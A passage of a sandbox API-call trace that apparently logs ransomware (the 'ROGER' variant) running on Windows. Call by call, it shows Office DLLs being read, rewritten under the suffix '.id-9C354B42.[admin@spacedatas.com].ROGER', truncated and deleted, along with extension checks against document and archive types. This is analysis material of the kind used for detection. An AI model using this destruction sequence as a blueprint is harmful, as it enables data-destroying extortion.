(in: hFile=0x358, lpBuffer=0x53c0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x53c0068*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.907] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53c0068 | out: hHeap=0x790000) returned 1 [0057.907] CloseHandle (hObject=0x358) returned 1 [0057.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.908] lstrlenW (lpString=".doc") returned 4 [0057.908] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.908] lstrlenW (lpString=".docx") returned 5 [0057.908] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.908] lstrlenW (lpString=".pdf") returned 4 [0057.908] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.908] lstrlenW (lpString=".xls") returned 4 [0057.908] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.908] lstrlenW (lpString=".xlsx") returned 5 [0057.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.908] lstrlenW (lpString=".ppt") returned 4 [0057.908] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.908] lstrlenW (lpString=".zip") returned 4 [0057.908] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.908] lstrlenW (lpString=".rar") returned 4 [0057.909] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString=".bz2") returned 4 [0057.909] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.909] lstrlenW (lpString=".7z") returned 3 [0057.909] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString=".dbf") returned 4 [0057.909] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString=".1cd") returned 4 [0057.909] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString=".jpg") returned 4 [0057.909] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString=".doc") returned 4 [0057.909] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString=".docx") returned 5 [0057.909] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0057.909] lstrlenW (lpString=".pdf") returned 4 [0057.909] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString=".xls") returned 4 [0057.909] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString=".xlsx") returned 5 [0057.909] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0057.909] lstrlenW (lpString=".ppt") returned 4 [0057.909] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0057.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.909] lstrlenW (lpString=".zip") returned 4 [0057.909] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0057.910] lstrlenW (lpString=".rar") returned 4 [0057.910] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0057.910] lstrlenW (lpString=".bz2") returned 4 [0057.910] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0057.910] lstrlenW (lpString=".7z") returned 3 [0057.910] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0057.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.910] lstrlenW (lpString=".dbf") returned 4 [0057.910] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0057.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.910] lstrlenW (lpString=".1cd") returned 4 [0057.910] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0057.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0057.910] lstrlenW (lpString=".jpg") returned 4 [0057.910] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0057.910] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.910] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0057.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.074] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=41864) returned 1 [0058.074] CloseHandle (hObject=0x3d8) returned 1 [0058.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0058.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.074] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.074] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0058.247] GetLastError () returned 0x0 [0058.247] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xa388, lpOverlapped=0x0) returned 1 [0058.255] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0058.257] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.257] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.258] SetEndOfFile (hFile=0x35c) returned 1 [0058.258] CloseHandle (hObject=0x35c) returned 1 [0058.258] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.258] SetEndOfFile (hFile=0x3d8) returned 1 [0058.259] CloseHandle (hObject=0x3d8) returned 1 [0058.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.259] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 1 [0058.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.259] lstrlenW (lpString=".doc") returned 4 [0058.259] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.259] lstrlenW (lpString=".docx") returned 5 [0058.259] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0058.259] lstrlenW (lpString=".pdf") returned 4 [0058.259] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.259] lstrlenW (lpString=".xls") returned 4 [0058.260] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".xlsx") returned 5 [0058.260] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0058.260] lstrlenW (lpString=".ppt") returned 4 [0058.260] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString=".zip") returned 4 [0058.260] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".rar") returned 4 [0058.260] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".bz2") returned 4 [0058.260] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.260] lstrlenW (lpString=".7z") returned 3 [0058.260] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString=".dbf") returned 4 [0058.260] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString=".1cd") returned 4 [0058.260] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString=".jpg") returned 4 [0058.260] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.260] lstrlenW (lpString=".doc") returned 4 [0058.260] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".docx") returned 5 [0058.260] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0058.260] lstrlenW (lpString=".pdf") returned 4 [0058.260] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".xls") returned 4 [0058.260] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.260] lstrlenW (lpString=".xlsx") returned 5 [0058.261] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0058.261] lstrlenW (lpString=".ppt") returned 4 [0058.261] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.261] lstrlenW (lpString=".zip") returned 4 [0058.261] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString=".rar") returned 4 [0058.261] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.261] lstrlenW (lpString=".bz2") returned 4 [0058.261] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString=".7z") returned 3 [0058.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.261] lstrlenW (lpString=".dbf") returned 4 [0058.261] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.261] lstrlenW (lpString=".1cd") returned 4 [0058.261] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0058.261] lstrlenW (lpString=".jpg") returned 4 [0058.261] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.261] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.261] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0058.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.262] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=744888) returned 1 [0058.262] CloseHandle (hObject=0x3d8) returned 1 [0058.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0058.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.262] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.262] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0058.262] GetLastError () returned 0x0 [0058.262] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0058.276] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0058.586] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.586] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0058.631] SetEndOfFile (hFile=0x35c) returned 1 [0058.631] CloseHandle (hObject=0x35c) returned 1 [0058.631] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.631] SetEndOfFile (hFile=0x3d8) returned 1 [0058.640] CloseHandle (hObject=0x3d8) returned 1 [0058.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.640] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString=".doc") returned 4 [0058.641] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString=".docx") returned 5 [0058.641] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0058.641] lstrlenW (lpString=".pdf") returned 4 [0058.641] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString=".xls") returned 4 [0058.641] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString=".xlsx") returned 5 [0058.641] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0058.641] lstrlenW (lpString=".ppt") returned 4 [0058.641] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString=".zip") returned 4 [0058.641] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString=".rar") returned 4 [0058.641] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.641] lstrlenW (lpString=".bz2") returned 4 [0058.641] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.641] lstrlenW (lpString=".7z") returned 3 [0058.641] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString=".dbf") returned 4 [0058.641] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString=".1cd") returned 4 [0058.641] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.641] lstrlenW (lpString=".jpg") returned 4 [0058.641] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString=".doc") returned 4 [0058.642] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString=".docx") returned 5 [0058.642] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0058.642] lstrlenW (lpString=".pdf") returned 4 [0058.642] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString=".xls") returned 4 [0058.642] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString=".xlsx") returned 5 [0058.642] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0058.642] lstrlenW (lpString=".ppt") returned 4 [0058.642] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString=".zip") returned 4 [0058.642] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString=".rar") returned 4 [0058.642] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.642] lstrlenW (lpString=".bz2") returned 4 [0058.642] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.642] lstrlenW (lpString=".7z") returned 3 [0058.642] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString=".dbf") returned 4 [0058.642] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString=".1cd") returned 4 [0058.642] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0058.642] lstrlenW (lpString=".jpg") returned 4 [0058.642] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.643] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.643] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0058.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.643] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=342960) returned 1 [0058.643] CloseHandle (hObject=0x3d8) returned 1 [0058.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0058.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0058.643] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.644] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0058.644] GetLastError () returned 0x0 [0058.644] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0058.651] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0058.657] ReadFile (in: hFile=0x3d8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.657] WriteFile (in: hFile=0x35c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.657] SetEndOfFile (hFile=0x35c) returned 1 [0058.658] CloseHandle (hObject=0x35c) returned 1 [0058.658] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.658] SetEndOfFile (hFile=0x3d8) returned 1 [0058.661] CloseHandle (hObject=0x3d8) returned 1 [0058.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 